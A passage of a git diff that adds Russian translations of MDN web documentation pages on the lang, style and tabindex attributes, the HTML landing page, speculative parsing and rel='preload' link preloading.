+<p>Для псевдо-класса CSS {{cssxref(":lang")}}, два недопустимых названия языка будут разными, если их имены различны. Хотя, <code>:lang(es)</code> соответствует обоим <code>lang="es-ES"</code> и <code>lang="es-419"</code>, но <code>:lang(xyzzy)</code> не соответствует <code>lang="xyzzy-Zorp!"</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>
+    <p>No change from latest snapshot,{{SpecName('HTML5.1')}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, behavior with <code>xml:lang</code> and language determination algorithm defined. It also is a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/dirlang.html#h-8.1', 'lang')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("html.global_attributes.lang")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Все <a href="/ru/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/Content-Language"><code>Content-Language</code> HTTP Header</a></li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/style/index.html b/files/ru/web/html/global_attributes/style/index.html
new file mode 100644
index 0000000000..949cd53910
--- /dev/null
+++ b/files/ru/web/html/global_attributes/style/index.html
@@ -0,0 +1,111 @@
+---
+title: style
+slug: Web/HTML/Global_attributes/style
+tags:
+  - HTML
+  - Глобальные атрибуты
+  - Руководство
+translation_of: Web/HTML/Global_attributes/style
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><a href="/en-US/docs/Web/HTML/Global_attributes">Глобальный атрибут</a> <strong>стиля</strong> содержит объявления стилей CSS, которые могут применяться к элементу. Обратите внимание: рекомендуется, чтобы стили были определены в отдельном файле или файлах. Этот атрибут и элемент {{HTMLElement ("style")}} имеют в основном назначение для быстрого добавления стиля, например, для целей тестирования.</p>
+
+<div class="note">
+<p><strong>Замечание об использовании: </strong>этот атрибут не должен использоваться для передачи семантической информации. Даже если весь стиль удаляется, страница должна оставаться семантически корректной. Обычно он не должен использоваться для скрытия несущественной информации; это должно быть сделано с использованием <a href="#attr-hidden"><strong>скрытого</strong></a> атрибута.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Без изменений от последнего моментального снимка, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Снимок {{SpecName ('HTML WHATWG')}}, без изменений от {{SpecName ('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Моментальный снимок {{SpecName ('HTML WHATWG')}}. Из {{SpecName ("HTML4.01")}} теперь это истинный глобальный атрибут</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/styles.html#h-14.2.2', 'style')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Поддерживает все элементы, кроме {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, и {{HTMLElement("title")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Style", "", "")}}</td>
+   <td>{{Spec2("CSS3 Style")}}</td>
+   <td>Определяет содержимое атрибута <code>style</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Все <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</li>
+</ul>
diff --git a/files/ru/web/html/global_attributes/tabindex/index.html b/files/ru/web/html/global_attributes/tabindex/index.html
new file mode 100644
index 0000000000..cd63df6b7a
--- /dev/null
+++ b/files/ru/web/html/global_attributes/tabindex/index.html
@@ -0,0 +1,112 @@
+---
+title: tabindex
+slug: Web/HTML/Global_attributes/tabindex
+translation_of: Web/HTML/Global_attributes/tabindex
+---
+<p>{{HTMLSidebar("Global_attributes")}}</p>
+
+<p class="note">Максимальное значение для tabindex не должно превышать 32767 (W3C 17.11.1)</p>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/HTML/%D0%9E%D0%B1%D1%89%D0%B8%D0%B5_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B">Глобальный атрибут</a> <strong>tabindex </strong>-<strong> </strong>целое число, определяющее должен ли данный элемент участвовать в последовательной навигации по всей странице с помощью клавиатуры, в каком порядке. Содержит одно из нескольких видов значений:</p>
+
+<ul>
+ <li>если представлено <em>отрицательное значение</em> – элемент может быть выделен, однако не участвует в последовательной навигации;</li>
+ <li>если представлен <strong>0</strong> – элемент может быть выделен и достигнут с помощью последовательной навигации, однако порядок навигации определён платформой;</li>
+ <li>если представлено <em>положительное целое значение</em> – элемент будет достигнут (и выделен) с помощью последовательной навигации, а порядок навигации определён этим самым значением. В случае, если несколько элементов содержат одно и то же значение <strong>tabindex</strong>, их порядок навигации определён относительным расположением в документе (DOM).</li>
+</ul>
+
+<p>Элементы со значением 0, некорректным значением, или элементы с отсутствующим значением <strong>tabindex </strong>должны быть расположены после элементов с положительным целым числом.</p>
+
+<p>Для более полного объяснения навигации смотри <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Focus_management_in_HTML">данную статью</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "editing.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с предыдущей спецификации {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>{{SpecName('HTML WHATWG')}}, нет изменений с  {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>{{SpecName('HTML WHATWG')}}. От {{SpecName("HTML4.01")}}, атрибут теперь поддерживается всеми элементами.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Поддерживается только {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, и {{HTMLElement("textarea")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Все <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</li>
+ <li>{{domxref("HTMLElement.tabindex")}} отражает этот атрибут.</li>
+ <li>Проблемы доступности (юзабилити): смотри <a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html" id="id-22" style="font-size: inherit; line-height: inherit;" title="Don’t Use Tabindex Greater than 0 | Adrian Roselli">Don’t Use Tabindex Greater than 0 | Adrian Roselli</a>.</li>
+</ul>
diff --git a/files/ru/web/html/index.html b/files/ru/web/html/index.html
new file mode 100644
index 0000000000..6c7cd93452
--- /dev/null
+++ b/files/ru/web/html/index.html
@@ -0,0 +1,107 @@
+---
+title: HTML
+slug: Web/HTML
+tags:
+  - HTML
+  - HTML5
+  - Landing
+  - Web
+  - Веб
+  - Главная
+  - Справка
+  - гипертекст
+  - лендинг
+translation_of: Web/HTML
+---
+<div>{{HTMLSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>HTML</strong> (HyperText Markup Language — «язык гипертекстовой разметки») — самый базовый строительный блок {{glossary("World Wide Web", "Веба")}}. Он определяет содержание и структуру веб-контента. Другие технологии, помимо HTML, обычно используются для описания внешнего вида/представления (<a href="/ru/docs/Web/CSS">CSS</a>) или функциональности/поведения (<a href="/ru/docs/Web/JavaScript">JavaScript</a>) веб-страницы.</span></p>
+
+<p>Под гипертекстом ("hypertext") понимаются ссылки, которые соединяют веб-страницы друг с другом либо в пределах одного веб-сайта, либо между веб-сайтами. Ссылки являются фундаментальным аспектом Веба. Загружая контент в Интернет и связывая его со страницами, созданными другими людьми, вы становитесь активным участником Всемирной паутины.</p>
+
+<p>HTML использует разметку ("markup") для отображения текста, изображений и другого контента в веб-браузере. HTML-разметка включает в себя специальные "элементы", такие как {{HTMLElement("head")}}, {{HTMLElement("title")}}, {{HTMLElement("body")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("p")}}, {{HTMLElement("div")}}, {{HTMLElement("span")}}, {{HTMLElement("img")}}, {{HTMLElement("aside")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("datalist")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("nav")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("video")}} и многие другие.</p>
+
+<p>HTML-элемент выделяется из прочего текста в документе с помощью "{{glossary("tag", "тегов")}}", которые состоят из имени элемента окруженного "<code>&lt;</code>" и "<code>&gt;</code>". Имя элемента внутри тега не чувствительно к регистру. То есть, оно может быть написано в верхнем или нижнем регистре, или смешано. Например, тег <code>&lt;title&gt;</code> может быть записан как <code>&lt;Title&gt;</code>, <code>&lt;TITLE&gt;</code>, или любым другим способом.</p>
+
+<p>Статьи, представленные ниже, могут помочь вам больше узнать о HTML.</p>
+
+<section class="cleared" id="sect1">
+<ul class="card-grid">
+ <li><span>Введение в HTML</span>
+
+  <p>Если вы новичок в веб-разработке, обязательно прочитайте нашу статью <a href="/ru/docs/Learn/Getting_started_with_the_web/HTML_basics">"Основы HTML"</a>, чтобы узнать, что такое HTML и как его использовать.</p>
+ </li>
+ <li><span>Руководства по HTML</span>
+  <p>Статьи о том, как использовать HTML, а также обучающие материалы и исчерпывающие примеры можно найти в разделе "<a href="/ru/docs/Learn/HTML">Пространство изучения HTML</a>".</p>
+ </li>
+ <li><span>Справка по HTML</span>
+  <p>В нашем обширном разделе "<a href="/ru/docs/Web/HTML/Ссылки">Справка по HTML</a>" вы найдете подробности о каждом элементе и атрибуте в HTML.</p>
+ </li>
+</ul>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Tools" id="Руководства_для_начинающих">Руководства для начинающих</h2>
+
+<p>Наше <a href="/ru/docs/Learn/HTML">Пространство изучения HTML</a> содержит множество модулей, которые обучают HTML с нуля — начальные знания не требуются.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Learn/HTML/Введение_в_HTML">Введение в HTML</a></dt>
+ <dd>Этот модуль закладывает основу, знакомя вас с важными понятиями и синтаксисом, такими как применение HTML к тексту, создание гиперссылок и использование HTML для построения веб-страницы.</dd>
+ <dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding">Мультимедиа и встраивание</a></dt>
+ <dd>В этом модуле рассматривается, как использовать HTML для добавления мультимедиа на ваши веб-страницы, включая различные способы вставки изображений, а также для встраивания видео, аудио, и даже других веб-страниц целиком.</dd>
+ <dt><a href="/ru/docs/Learn/HTML/Tables">HTML-таблицы</a></dt>
+ <dd>Представление табличных данных на веб-странице в понятной, доступной форме может быть проблемой. Этот модуль охватывает базовую разметку таблиц, а также более сложные особенности, такие как добавление заголовков и описаний.</dd>
+ <dt><a href="/ru/docs/Learn/HTML/Forms">HTML-формы</a></dt>
+ <dd>Формы являются очень важной частью Веба — они предоставляют большую часть функционала, необходимого для взаимодействия с веб-сайтами, например регистрация и вход в систему, отправка отзывов, покупка товаров, и многое другое. Этот модуль познакомит вас с созданием клиентских (client-side/front-end) частей форм.</dd>
+ <dt><a href="/ru/docs/Learn/HTML/Рецепты">Используйте HTML для решения распространенных задач.</a></dt>
+ <dd>Содержит ссылки на разделы, объясняющие как использовать HTML для решения самых распространенных задач при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение контента, создание простой формы и т.д.</dd>
+</dl>
+
+<h2 id="Продвинутые_темы">Продвинутые темы</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS: включенные изображения</a></dt>
+ <dd class="landingPageList">Атрибут {{htmlattrxref("crossorigin", "img")}} в сочетании с соответствующим заголовком {{glossary("CORS")}}, позволяет загружать изображения, определенные элементом {{HTMLElement("img")}}, из внешних источников и использовать в элементе {{HTMLElement("canvas")}}, как если бы они были загружены из текущего источника.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/CORS_settings_attributes">CORS: Настройки атрибутов</a></dt>
+ <dd class="landingPageList">Некоторые HTML-элементы, предоставляющие поддержку <a href="/ru/docs/Web/HTTP/CORS">CORS</a>, такие как {{HTMLElement("img")}} или {{HTMLElement("video")}}, имеют атрибут <code>crossorigin</code> (свойство <code>crossOrigin</code>), который позволяет вам настраивать CORS-запросы для получаемых элементом данных.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/API/Document/hasFocus">Управление фокусом в HTML</a></dt>
+ <dd class="landingPageList">DOM-Атрибут <code><a href="/en-US/docs/Web/API/Document/activeElement">activeElement</a></code> и DOM-метод <code><a href="/ru/docs/Web/API/Document/hasFocus">hasFocus()</a></code> помогают отслеживать и контролировать взаимодействие пользователя с элементами на веб-странице.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Preloading_content">Предварительная загрузка контента с помощью rel="preload"</a></dt>
+ <dd class="landingPageList">Значение <code>preload</code> атрибута {{htmlattrxref("rel", "link")}} элемента {{htmlelement("link")}} позволяет писать декларативные <a href="/ru/docs/Web/API/Fetch_API/Using_Fetch">fetch-запросы</a> в HTML {{htmlelement("head")}}, указывая ресурсы, которые потребуются вашим страницам сразу после загрузки и, следовательно, которые вы хотите начать предварительно загружать на раннем этапе жизненного цикла страницы, прежде чем браузером запустится основной механизм рендеринга (отрисовки). Это гарантирует, что они станут доступными раньше и с меньшей вероятностью заблокируют первый рендеринг страницы, что приведет к улучшению производительности. В этой статье приведено начальное руководство по работе с <code>preload</code> (предзагрузкой).</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Справочники">Справочники</h2>
+
+<dl>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Ссылки">Справка по HTML</a></dt>
+ <dd class="landingPageList">HTML состоит из <strong>элементов</strong>, каждый из которых может быть изменен некоторым количеством <strong>атрибутов</strong>. HTML-документы связаны между собой <a href="/ru/docs/Web/HTML/Типы_ссылок">ссылками</a>.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Element">Справка по HTML-элементам</a></dt>
+ <dd class="landingPageList">Просмотр списка всех {{glossary("Element", "элементов")}} {{glossary("HTML")}}.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Attributes">Справка по HTML-атрибутам</a></dt>
+ <dd class="landingPageList">У элементов в HTML есть <strong>атрибуты</strong>. Это дополнительные величины, которые настраивают элементы или управляют их поведением различными способами.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Общие_атрибуты">Глобальные атрибуты</a></dt>
+ <dd class="landingPageList">Глобальные атрибуты могут быть указаны для всех <a href="/ru/docs/Web/HTML/Element">элементов HTML</a>, <em>даже тех, которые не указаны в стандарте</em>. Это означает, что любые нестандартные элементы обязаны по-прежнему разрешать эти атрибуты, даже если эти элементы делают документ несовместимым с {{glossary("HTML5")}}.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Строчные_Элементы">Строчные</a> и <a href="/ru/docs/Web/HTML/Block-level_elements">блочные</a> элементы</dt>
+ <dd class="landingPageList">Элементы HTML являются обычно "строчными" или "блочными". Строчный элемент занимает только пространство, ограниченное тегами, которые его определяют. Блочный элемент занимает все пространство своего родительского элемента (контейнера), тем самым создавая "блок".</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Типы_ссылок">Типы ссылок</a></dt>
+ <dd class="landingPageList">В HTML различные типы ссылок могут использоваться для установления и определения связи между двумя документами. Элементы-ссылки, типы которых могут быть заданы, включают в себя {{HTMLElement("a")}}, {{HTMLElement("area")}} и {{HTMLElement("link")}}.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Поддерживаемые_медиа_форматы">Поддержка медиа-форматов с помощью HTML-элементов audio и video</a></dt>
+ <dd class="landingPageList">Элементы {{HTMLElement("audio")}} и {{HTMLElement("video")}} позволяют вам воспроизводить аудио и видео. Эти элементы предоставляют браузерную альтернативу аналогичным возможностям, которые есть в Adobe Flash и других плагинах.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Виды HTML-контента</a></dt>
+ <dd class="landingPageList">HTML состоит из нескольких видов контента, каждый из которых разрешено использовать в определенных контекстах и запрещено в других. Так же, у каждого есть набор других категорий контента, которые они могут содержать, и элементы, которые могут или не могут использоваться в них. Это руководство по таким категориям.</dd>
+ <dt class="landingPageList"><a href="/ru/docs/Web/HTML/Quirks_Mode_and_Standards_Mode">Режим совместимости и стандартный режим</a></dt>
+ <dd class="landingPageList">Историческая справка по режиму совместимости и стандартному режиму.</dd>
+</dl>
+
+<h2 class="landingPageList" id="Похожие_темы">Похожие темы</h2>
+
+<dl>
+ <dt><a href="/ru/docs/Web/HTML/Applying_color">Применение цвета к HTML-элементам с помощью CSS</a></dt>
+ <dd>В этой статье описывается большинство способов использования CSS для добавления цвета к HTML-контенту, а также перечисляется, какие части документов HTML могут быть окрашены, и какие свойства CSS при этом используются. Включает примеры, ссылки на инструменты для создания палитры и многое другое.</dd>
+</dl>
+</div>
+</div>
+<span class="alllinks"><a href="/ru/docs/tag/HTML">Посмотреть все...</a></span></section>
diff --git a/files/ru/web/html/optimizing_your_pages_for_speculative_parsing/index.html b/files/ru/web/html/optimizing_your_pages_for_speculative_parsing/index.html
new file mode 100644
index 0000000000..0b3418772f
--- /dev/null
+++ b/files/ru/web/html/optimizing_your_pages_for_speculative_parsing/index.html
@@ -0,0 +1,33 @@
+---
+title: Оптимизация Ваших страниц для рискованного парсинга
+slug: Web/HTML/Optimizing_Your_Pages_for_Speculative_Parsing
+tags:
+  - HTML
+  - HTML5
+  - Веб-разработка
+  - Продвинутый
+translation_of: Glossary/speculative_parsing
+---
+<p>Традиционно, HTML-парсер в браузерах работает на главной ветке и блокируется после тега <code>&lt;/script&gt;</code>, пока скрипт не загрузится и не выполнится. HTML-парсер в Firefox 4 и новее поддерживает рискованный парсинг вне главной ветки. Он продолжает парсить, пока скрипты загружаются и выполняются. В Firefox 3.5 и 3.6 парсер начинает рискованную загрузку скриптов, стилей и изображений, когда он находит их. Однако, в Firefox 4 и новее HTML-парсер также рискованно загружает алгоритм постройки дерева HTML. С одной стороны, когда риск оправдался, нет необходимости в репарсинге части, которая уже была просканирована на скрипты, стили и изображения. С другой стороны, когда риск не оправдался, HTML-парсеру достаётся больше работы.</p>
+
+<p>Эта статья поможет избежать некоторых проблем, которые замедляют загрузку страницы.</p>
+
+<h2 id="Делаем_рискованную_загрузку_успешной">Делаем рискованную загрузку успешной</h2>
+
+<p>Есть только одно правило, чтобы сделать рискованную загрузку скриптов, стилей и изображений успешной:</p>
+
+<ul>
+ <li>Если Вы используете элемент <code>&lt;base&gt;</code>, чтобы заменить основной URI страницы, поместите этот элемент в часть страницы без скриптов. Не добавляйте его с помощью <code>document.write()</code> или <code>document.createElement()</code>.</li>
+</ul>
+
+<h2 id="Как_избежать_перестройки_дерева_страницы">Как избежать перестройки дерева страницы</h2>
+
+<p>Рискованное построение дерева терпит неудачу в случае, когда функция <code>document.write() </code>изменяет состояния построителя дерева так, что то рискованное состояние после тега <code>&lt;/script&gt; </code>более не остаётся прежним после того, как весь контент, добавленный через <code>document.write(),</code> будет распарсен. Только несколько необычных применений <code>document.write()</code> вызывают эту проблему. Вот, чего необходимо избегать:</p>
+
+<ul>
+ <li>Не пишите незаконченные древа. Вместо <code>&lt;script&gt;document.write("&lt;div&gt;");&lt;/script&gt;</code> лучше написать <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code>.</li>
+ <li>Не пишите незаконченные теги. Не стоит писать <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div");&lt;/script&gt;</code>.</li>
+ <li>Не заканчивайте строку возратной кареткой (<code>\r</code>). Вместо <code>&lt;script&gt;document.write("Hello World!\r");&lt;/script&gt;</code> лучше написать <code>&lt;script&gt;document.write("Hello World!\n");&lt;/script&gt;</code>.</li>
+ <li>Заметьте, что написание законченных тегов может повлиять на другие теги так, что они станут незаконченными. В том числе, <code>&lt;script&gt;document.write("&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code> внутри <code>&lt;head&gt;</code> будет интерпретировано как <code>&lt;script&gt;document.write("&lt;/head&gt;&lt;body&gt;&lt;div&gt;&lt;/div&gt;");&lt;/script&gt;</code>, что повлияет на <code>&lt;head&gt;</code> так, что он станет незаконченным.</li>
+ <li>Не форматируйте часть таблицы. Вместо <code>&lt;table&gt;&lt;script&gt;document.write("&lt;tr&gt;&lt;td&gt;Hello World!&lt;/td&gt;&lt;/tr&gt;");&lt;/script&gt;&lt;/table&gt;</code> лучше написать <code>&lt;script&gt;document.write("</code><code>&lt;table&gt;</code><code>&lt;tr&gt;&lt;td&gt;Hello World!&lt;/td&gt;&lt;/tr&gt;</code><code>&lt;/table&gt;</code><code>");&lt;/script&gt;</code>.</li>
+</ul>
diff --git a/files/ru/web/html/preloading_content/index.html b/files/ru/web/html/preloading_content/index.html
new file mode 100644
index 0000000000..a07be2d14a
--- /dev/null
+++ b/files/ru/web/html/preloading_content/index.html
@@ -0,0 +1,243 @@
+---
+title: Предзагрузчик контента - rel="preload"
+slug: Web/HTML/Preloading_content
+translation_of: Web/HTML/Preloading_content
+---
+<p class="summary">Значение <code>preload</code> атрибута {{htmlattrxref("rel", "link")}} в элементе {{htmlelement("link")}} позволяет вам запросить данные через {{htmlelement("head")}} вашего HTML, указав необходимые вашей странице ресурсы ещё в начале её жизненного цикла, - до того, как сработает основной механизм отрисовки браузера. Это гарантирует, что предзагрузчик нужных ресурсов с меньшей вероятностью заблокирует отрисовку страницы, тем самым улучшая её производительность.</p>
+
+<p class="summary">В этой статье приведено основное руководство про работе с <code>&lt;link rel="preload"&gt;</code>.</p>
+
+<h2 id="Основы">Основы</h2>
+
+<p>Чаще всего вы используете простой <code>&lt;link&gt;</code> элемент, когда загружаете CSS файлы со стилем вашей страницы:</p>
+
+<pre class="brush: html notranslate">&lt;link rel="stylesheet" href="styles/main.css"&gt;</pre>
+
+<p>Однако, здесь мы будем использовать значение <code>preload</code> для атрибута <code>rel</code>, которое превратит тег <code>&lt;link&gt;</code> в предзагрузчик для любого ресурса, который мы пожелаем. Для этого необходимо будет указать:</p>
+
+<ul>
+ <li>Адрес пути к ресурсу в атрибуте {{htmlattrxref("href", "link")}};</li>
+ <li>Тип ресурса в атрибуте {{htmlattrxref("as", "link")}}.</li>
+</ul>
+
+<p>Простой пример может выглядеть так: (смотрите наш <a href="https://github.com/mdn/html-examples/tree/master/link-rel-preload/js-and-css">JS и CSS пример из источника</a>, и <a href="https://mdn.github.io/html-examples/link-rel-preload/js-and-css/">живой пример</a>):</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;Пример пред-загрузки JS и CSS&lt;/title&gt;
+
+  &lt;link rel="preload" href="style.css" as="style"&gt;
+  &lt;link rel="preload" href="main.js" as="script"&gt;
+
+  &lt;link rel="stylesheet" href="style.css"&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+  &lt;h1&gt;прыгающие шарики&lt;/h1&gt;
+  &lt;canvas&gt;&lt;/canvas&gt;
+
+  &lt;script src="main.js"&gt;&lt;/script&gt;
+&lt;/body&gt;</pre>
+
+<p>Мы сделали предзагрузку наших файлов CSS и JavaScript, чтобы они стали доступны для рендеринга страницы сразу же, как это потребуется. Этот пример отчасти банален, поскольку браузер, вероятнее всего, обнаружит элементы <code>&lt;link rel="stylesheet"&gt;</code> и <code>&lt;script&gt;</code> в одном чанке (блоке) с основным HTML, но преимущества более явно проявятся, если далее по странице будут обнаружены более объёмные ресурсы. Это могут быть:</p>
+
+<ul>
+ <li>Ресурсы, на которые ссылаются стили из CSS (шрифты, изображения);</li>
+ <li>Ресурсы, затребованные из JavaScript (например JSON, динамически подгружаемые скрипты, воркеры);</li>
+ <li>Огромных размеров изображения, видео.</li>
+</ul>
+
+<p><code>preload</code> имеет и другие преимущества. Использование атрибута <code>as</code> для указания типа содержимого пред-загрузки позволит браузеру:</p>
+
+<ul>
+ <li>Точнее расставить приоритеты при загрузке ресурсов.</li>
